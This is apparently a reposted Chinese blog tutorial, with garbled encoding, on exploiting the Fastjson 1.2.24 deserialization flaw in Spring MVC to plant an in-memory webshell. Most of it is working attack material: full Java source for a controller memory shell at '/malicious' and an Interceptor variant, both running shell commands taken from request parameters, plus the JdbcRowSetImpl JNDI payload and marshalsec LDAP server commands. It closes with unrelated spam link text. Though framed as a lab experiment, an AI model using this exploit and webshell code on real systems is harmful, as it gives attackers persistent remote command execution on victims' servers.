<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          狂野!利用Fastjson注入Spring內(nèi)存馬~

          共 11186字,需瀏覽 23分鐘

           ·

          2021-11-19 11:43

          程序員的成長(zhǎng)之路
          互聯(lián)網(wǎng)/程序員/技術(shù)/資料共享?
          關(guān)注


          閱讀本文大概需要 8.5 分鐘。

          來(lái)自:網(wǎng)絡(luò)。如侵,請(qǐng)聯(lián)系刪除

          此篇文章在于記錄自己對(duì)spring內(nèi)存馬的實(shí)驗(yàn)研究。


          環(huán)境搭建


          搭建漏洞環(huán)境,利用fastjson反序列化,通過(guò)JNDI下載惡意的class文件,觸發(fā)惡意類(lèi)的構(gòu)造函數(shù)中代碼,注入controller內(nèi)存馬。


          1)組件版本:


          fastjson: 1.2.24
          spring-mvc: 4.3.28.RELEASE
          JDK: 8u121


          2)搭建springMVC+fastjson漏洞環(huán)境


          可以參考網(wǎng)上的入門(mén)文章進(jìn)行搭建,這里我放出我自己環(huán)境的配置文件


          web.xml

          SpringMVC org.springframework.web.servlet.DispatcherServlet contextConfigLocation classpath:springmvc.xml SpringMVC /

          springmvc.xml





          HelloController
          @Controllerpublic class HelloController { @ResponseBody @RequestMapping(value = "/hello", method = RequestMethod.POST) public Object hello(@RequestParam("code")String code) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.out.println(code); Object object = JSON.parse(code); return code + "->JSON.parseObject()->" + object; }}

          pom.xml

          com.alibaba fastjson 1.2.24
          junit junit 4.11 test org.springframework spring-webmvc 4.3.28.RELEASE

          動(dòng)態(tài)注冊(cè)controller


          在springMVC中,也可以在服務(wù)器程序啟動(dòng)后,利用某種方式實(shí)現(xiàn)動(dòng)態(tài)加載controller。


          1)獲取上下文


          在LandGrey文章中介紹了四種方法,分別是


          方式一:getCurrentWebApplicationContext

          WebApplicationContext?context?=?ContextLoader.getCurrentWebApplicationContext();

          方法二:WebApplicationContextUtils

          WebApplicationContext?context?=?WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

          方法三:RequestContextUtils
          WebApplicationContext?context?=?RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

          方法四:getAttribute

          WebApplicationContext?context?=?(WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",?0);

          而對(duì)于獲取上下文來(lái)說(shuō),推薦使用第三、四種方法。前兩種可能會(huì)獲取不到RequestMappingHandlerMapping實(shí)例


          2)注冊(cè)controller


          使用registerMapping方法來(lái)動(dòng)態(tài)注冊(cè)我們的惡意controller

          //?1.?從當(dāng)前上下文環(huán)境中獲得?RequestMappingHandlerMapping?的實(shí)例?beanRequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);// 2. 通過(guò)反射獲得自定義 controller 中唯一的 Method 對(duì)象Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];// 3. 定義訪問(wèn) controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");// 4. 定義允許訪問(wèn) controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在內(nèi)存中動(dòng)態(tài)注冊(cè) controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);


          除了使用registerMapping方法注冊(cè)controller外,還有其余的方式可以參考
          https://landgrey.me/blog/12/

          內(nèi)存馬


          以下是大佬的內(nèi)存馬,接下來(lái)進(jìn)行一個(gè)改動(dòng),使之能進(jìn)行回顯

          import?org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Iterator;import java.util.List;import java.util.Map;
          public class InjectToController { // 第一個(gè)構(gòu)造函數(shù) public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. 從當(dāng)前上下文環(huán)境中獲得 RequestMappingHandlerMapping 的實(shí)例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
          // 2. 通過(guò)反射獲得自定義 controller 中test的 Method 對(duì)象 Method method2 = InjectToController.class.getMethod("test"); // 3. 定義訪問(wèn) controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/malicious"); // 4. 定義允許訪問(wèn) controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 5. 在內(nèi)存中動(dòng)態(tài)注冊(cè) controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 創(chuàng)建用于處理請(qǐng)求的對(duì)象,加入“aaa”參數(shù)是為了觸發(fā)第二個(gè)構(gòu)造函數(shù)避免無(wú)限循環(huán) InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } // 第二個(gè)構(gòu)造函數(shù) public InjectToController(String aaa) {} // controller指定的處理方法 public void test() throws IOException{ // 獲取request和response對(duì)象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); // 獲取cmd參數(shù)并執(zhí)行命令 java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")); }}

          修改回顯


          把test代碼中的內(nèi)容替換為以下

          //?獲取request和response對(duì)象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
          //exectry { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ //當(dāng)請(qǐng)求沒(méi)有攜帶指定的參數(shù)(code)時(shí),返回 404 錯(cuò)誤 response.sendError(404); }}catch (Exception e){}

          最終內(nèi)存馬


          import?org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;
          public class InjectToController { // 第一個(gè)構(gòu)造函數(shù) public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. 從當(dāng)前上下文環(huán)境中獲得 RequestMappingHandlerMapping 的實(shí)例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 2. 通過(guò)反射獲得自定義 controller 中test的 Method 對(duì)象 Method method2 = InjectToController.class.getMethod("test"); // 3. 定義訪問(wèn) controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/malicious"); // 4. 定義允許訪問(wèn) controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 5. 在內(nèi)存中動(dòng)態(tài)注冊(cè) controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 創(chuàng)建用于處理請(qǐng)求的對(duì)象,加入“aaa”參數(shù)是為了觸發(fā)第二個(gè)構(gòu)造函數(shù)避免無(wú)限循環(huán) InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } // 第二個(gè)構(gòu)造函數(shù) public InjectToController(String aaa) {} // controller指定的處理方法 public void test() throws IOException{ // 獲取request和response對(duì)象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
          //exec try { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ //當(dāng)請(qǐng)求沒(méi)有攜帶指定的參數(shù)(code)時(shí),返回 404 錯(cuò)誤 response.sendError(404); } }catch (Exception e){} }}

          測(cè)試


          fastjson<=1.2.24的 payload:
          {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}

          1)啟動(dòng)本地http服務(wù),綁定端口8888

          python3?-m?http.server?8888


          2)利用marshalsec啟動(dòng)LDAP服務(wù),綁定端口9999

          java?-cp?marshalsec-0.0.3-SNAPSHOT-all.jar?marshalsec.jndi.LDAPRefServer?http://127.0.0.1:8888/#InjectToController?9999


          3)訪問(wèn)存在fastjson反序列化的頁(yè)面,http://localhost:8080/hello

          發(fā)送payload:

          {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}


          成功寫(xiě)入內(nèi)存馬



          踩坑


          在實(shí)驗(yàn)過(guò)程中,我發(fā)現(xiàn)主要有兩個(gè)比較難解決的點(diǎn),導(dǎo)致實(shí)驗(yàn)難以繼續(xù)


          1.怎么編譯惡意class文件


          可以看到,一個(gè)惡意類(lèi)是有大量的依賴(lài),如果直接采用javac編譯會(huì)報(bào)錯(cuò)

          -》javac?InjectToController.javaInjectToController.java:16: 錯(cuò)誤: 編碼GBK的不可映射字符 // 絎竴涓瀯閫犲嚱鏁? ^InjectToController.java:19: 錯(cuò)誤: 編碼GBK的不可映射字符 // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean ^InjectToController.java:19: 錯(cuò)誤: 編碼GBK的不可映射字符 // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean ^

          這時(shí)候可以利用idea自帶的編譯特性,先運(yùn)行項(xiàng)目,然后在其項(xiàng)目的target目錄中尋找編譯后的class文件即可


          2.可以彈出計(jì)算器,卻無(wú)法注入內(nèi)存馬


          直接進(jìn)行debug后發(fā)現(xiàn),在這一行代碼會(huì)因?yàn)檎也坏絉equestMappingHandlerMapping 的實(shí)例 bean而拋出異常




          原因在于springmvc.xml文件中,沒(méi)有開(kāi)啟選項(xiàng)。


          ?是為 MVC 提供額外的支持,參考 Spring 的官方文檔,?最主要的作用是注冊(cè) HandlerMapping(實(shí)現(xiàn)為 DefaultAnnotationHandlerMapping) 和 HandlerAdapter(實(shí)現(xiàn)為 AnnotationMethodHandlerAdapter) 兩個(gè)類(lèi)型的 Bean,這兩個(gè) Bean 為?@Controllers(所有控制器) 提供轉(zhuǎn)發(fā)請(qǐng)求的功能。


          而在Spring 3.1 開(kāi)始及以后一般開(kāi)始使用了新的RequestMappingHandlerMapping映射器。


          后記


          Interceptor內(nèi)存馬


          其實(shí)不光是可以注入controller型的內(nèi)存馬,還可以注入Interceptor內(nèi)存馬

          import?org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor extends HandlerInterceptorAdapter { public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException { // 獲取context WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 從context中獲取AbstractHandlerMapping的實(shí)例對(duì)象 org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); // 反射獲取adaptedInterceptors屬性 java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping); // 避免重復(fù)添加 for (int i = adaptedInterceptors.size() - 1; i > 0; i--) { if (adaptedInterceptors.get(i) instanceof TestInterceptor) { System.out.println("已經(jīng)添加過(guò)TestInterceptor實(shí)例了"); return; } } TestInterceptor aaa = new TestInterceptor("aaa"); // 避免進(jìn)入實(shí)例創(chuàng)建的死循環(huán) adaptedInterceptors.add(aaa); // 添加全局interceptor }
          private TestInterceptor(String aaa){}
          @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code"); // 不干擾正常業(yè)務(wù)邏輯 if (code != null) { java.lang.Runtime.getRuntime().exec(code); return true; } else { return true; }}}

          注冊(cè)效果:


          參考


          https://landgrey.me/blog/12/
          https://www.cnblogs.com/bitterz/p/14820898.html
          https://www.cnblogs.com/bitterz/p/14859766.html

          推薦閱讀:

          在部隊(duì)當(dāng)程序員是什么體驗(yàn)?

          面試官:你知道消息隊(duì)列如何保證數(shù)據(jù)不丟失嗎?

          最近面試BAT,整理一份面試資料《Java面試BATJ通關(guān)手冊(cè)》,覆蓋了Java核心技術(shù)、JVM、Java并發(fā)、SSM、微服務(wù)、數(shù)據(jù)庫(kù)、數(shù)據(jù)結(jié)構(gòu)等等。

          獲取方式:點(diǎn)個(gè)「在看」,點(diǎn)擊上方小卡片,進(jìn)入公眾號(hào)后回復(fù)「面試題」領(lǐng)取,更多內(nèi)容陸續(xù)奉上。

          朕已閱?

          瀏覽 62
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                    <th id="afajh"><progress id="afajh"></progress></th>
                    蜜芽精品。con | 大香蕉伊人电影网 | 欧美网站在线看 | 日本亚洲精品秘 入口A片 | 大香蕉75 |